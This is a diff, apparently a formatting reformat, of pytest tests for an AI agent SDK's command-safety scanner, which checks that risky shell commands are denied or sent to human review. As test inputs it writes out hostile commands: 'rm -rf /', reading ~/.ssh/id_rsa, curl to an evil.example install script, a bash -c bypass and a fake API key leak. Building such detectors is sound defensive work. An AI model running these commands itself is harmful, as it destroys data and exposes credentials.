|
4 | 4 | # Copyright (C) 2026 Tencent. All rights reserved. |
5 | 5 | # |
6 | 6 | # tRPC-Agent-Python is licensed under Apache-2.0. |
7 | | - |
8 | 7 | """Core scanner tests — 12 required samples + edge cases.""" |
9 | 8 |
|
10 | 9 | import pytest |
11 | 10 | from trpc_agent_sdk.tools.safety._types import ( |
12 | | - Request, CodeBlock, DECISION_ALLOW, DECISION_DENY, |
13 | | - DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW, |
14 | | - RISK_LOW, RISK_HIGH, RISK_CRITICAL, |
| 11 | + Request, |
| 12 | + CodeBlock, |
| 13 | + DECISION_ALLOW, |
| 14 | + DECISION_DENY, |
| 15 | + DECISION_ASK, |
| 16 | + DECISION_NEEDS_HUMAN_REVIEW, |
| 17 | + RISK_LOW, |
| 18 | + RISK_HIGH, |
| 19 | + RISK_CRITICAL, |
15 | 20 | ) |
16 | 21 | from trpc_agent_sdk.tools.safety._policy import default_policy |
17 | 22 | from trpc_agent_sdk.tools.safety._scanner import scan |
18 | 23 |
|
19 | | - |
20 | 24 | POLICY = default_policy() |
21 | 25 |
|
22 | | - |
23 | 26 | # ========== 12 core test cases (aligned with Go reference) ========== |
24 | 27 |
|
| 28 | + |
25 | 29 | def test_safe_go_test(): |
26 | 30 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="go test ./..."), POLICY) |
27 | 31 | assert report.decision == DECISION_ALLOW |
28 | 32 |
|
| 33 | + |
29 | 34 | def test_dangerous_delete(): |
30 | 35 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="rm -rf /"), POLICY) |
31 | 36 | assert report.decision == DECISION_DENY |
32 | 37 | assert report.rule_id == "dangerous.rm_rf" |
33 | 38 |
|
| 39 | + |
34 | 40 | def test_read_key(): |
35 | 41 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat ~/.ssh/id_rsa"), POLICY) |
36 | 42 | assert report.decision == DECISION_DENY |
37 | 43 | assert report.rule_id == "sensitive.path_access" |
38 | 44 |
|
| 45 | + |
39 | 46 | def test_non_whitelist_network(): |
40 | | - report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"), POLICY) |
| 47 | + report = scan( |
| 48 | + Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"), |
| 49 | + POLICY) |
41 | 50 | assert report.decision == DECISION_DENY |
42 | 51 | assert report.rule_id == "network.non_whitelisted_domain" |
43 | 52 |
|
| 53 | + |
44 | 54 | def test_whitelist_network(): |
45 | | - report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"), POLICY) |
| 55 | + report = scan( |
| 56 | + Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"), |
| 57 | + POLICY) |
46 | 58 | assert report.decision == DECISION_ALLOW |
47 | 59 |
|
| 60 | + |
48 | 61 | def test_shell_bypass(): |
49 | | - report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"), POLICY) |
| 62 | + report = scan( |
| 63 | + Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"), |
| 64 | + POLICY) |
50 | 65 | assert report.decision == DECISION_DENY |
51 | 66 | assert report.rule_id == "shell.bypass" |
52 | 67 |
|
| 68 | + |
53 | 69 | def test_pipeline_review(): |
54 | 70 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat README.md | wc -l"), POLICY) |
55 | 71 | assert report.decision == DECISION_NEEDS_HUMAN_REVIEW |
56 | 72 | assert report.rule_id == "shell.pipeline_review" |
57 | 73 |
|
| 74 | + |
58 | 75 | def test_dependency_install(): |
59 | 76 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="npm install left-pad"), POLICY) |
60 | 77 | assert report.decision == DECISION_NEEDS_HUMAN_REVIEW |
61 | 78 | assert report.rule_id == "dependency.environment_change" |
62 | 79 |
|
| 80 | + |
63 | 81 | def test_long_sleep(): |
64 | 82 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="sleep 9999"), POLICY) |
65 | 83 | assert report.decision == DECISION_NEEDS_HUMAN_REVIEW |
66 | 84 | assert report.rule_id == "resource.long_sleep" |
67 | 85 |
|
| 86 | + |
68 | 87 | def test_hostexec_long_session(): |
69 | | - report = scan(Request( |
70 | | - tool_name="exec_command", backend="hostexec", |
71 | | - command="tail -f app.log", tty=True, background=True, |
72 | | - ), POLICY) |
| 88 | + report = scan( |
| 89 | + Request( |
| 90 | + tool_name="exec_command", |
| 91 | + backend="hostexec", |
| 92 | + command="tail -f app.log", |
| 93 | + tty=True, |
| 94 | + background=True, |
| 95 | + ), POLICY) |
73 | 96 | assert report.decision == DECISION_NEEDS_HUMAN_REVIEW |
74 | 97 | assert report.rule_id == "hostexec.long_session" |
75 | 98 |
|
| 99 | + |
76 | 100 | def test_code_block_host_bridge(): |
77 | | - report = scan(Request( |
78 | | - tool_name="execute_code", backend="codeexec", |
79 | | - code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")], |
80 | | - ), POLICY) |
| 101 | + report = scan( |
| 102 | + Request( |
| 103 | + tool_name="execute_code", |
| 104 | + backend="codeexec", |
| 105 | + code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")], |
| 106 | + ), POLICY) |
81 | 107 | assert report.decision == DECISION_NEEDS_HUMAN_REVIEW |
82 | 108 | assert report.rule_id == "codeexec.host_command_bridge" |
83 | 109 |
|
| 110 | + |
84 | 111 | def test_secret_leak(): |
85 | | - report = scan(Request( |
86 | | - tool_name="workspace_exec", backend="workspaceexec", |
87 | | - command="echo OPENAI_API_KEY=sk-1234567890abcdef", |
88 | | - ), POLICY) |
| 112 | + report = scan( |
| 113 | + Request( |
| 114 | + tool_name="workspace_exec", |
| 115 | + backend="workspaceexec", |
| 116 | + command="echo OPENAI_API_KEY=sk-1234567890abcdef", |
| 117 | + ), POLICY) |
89 | 118 | assert report.decision == DECISION_DENY |
90 | 119 | assert report.rule_id == "sensitive.secret_leak" |
91 | 120 |
|
92 | 121 |
|
93 | 122 | # ========== Edge case tests ========== |
94 | 123 |
|
| 124 | + |
95 | 125 | def test_empty_command(): |
96 | 126 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command=""), POLICY) |
97 | 127 | assert report.decision == DECISION_DENY |
98 | 128 | assert report.rule_id == "command.empty" |
99 | 129 |
|
| 130 | + |
100 | 131 | def test_denied_cwd(): |
101 | 132 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="ls", cwd="~/.ssh"), POLICY) |
102 | 133 | assert report.decision == DECISION_DENY |
103 | 134 | assert report.rule_id == "sensitive.cwd_access" |
104 | 135 |
|
| 136 | + |
105 | 137 | def test_chmod_recursive(): |
106 | 138 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="chmod -R 777 ."), POLICY) |
107 | 139 | assert report.decision == DECISION_NEEDS_HUMAN_REVIEW |
108 | 140 | assert report.rule_id == "dangerous.recursive_chmod" |
109 | 141 |
|
| 142 | + |
110 | 143 | def test_500_line_scan_under_1s(): |
111 | 144 | import time |
112 | 145 | code = "\n".join(['print(f"line {i}")' for i in range(500)]) |
113 | 146 | start = time.time() |
114 | | - report = scan(Request( |
115 | | - tool_name="execute_code", backend="codeexec", |
116 | | - code_blocks=[CodeBlock(language="python", code=code)], |
117 | | - ), POLICY) |
| 147 | + report = scan( |
| 148 | + Request( |
| 149 | + tool_name="execute_code", |
| 150 | + backend="codeexec", |
| 151 | + code_blocks=[CodeBlock(language="python", code=code)], |
| 152 | + ), POLICY) |
118 | 153 | elapsed = time.time() - start |
119 | 154 | assert elapsed < 1.0, f"500-line scan took {elapsed:.2f}s" |
120 | 155 | assert report.decision == DECISION_ALLOW |
121 | 156 |
|
| 157 | + |
122 | 158 | def test_unicode_command(): |
123 | 159 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo 你好世界"), POLICY) |
124 | 160 | assert report.decision == DECISION_ALLOW |
125 | 161 |
|
| 162 | + |
126 | 163 | def test_none_policy_defaults(): |
127 | 164 | report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo hi"), None) |
128 | 165 | assert report.decision == DECISION_ALLOW |
0 commit comments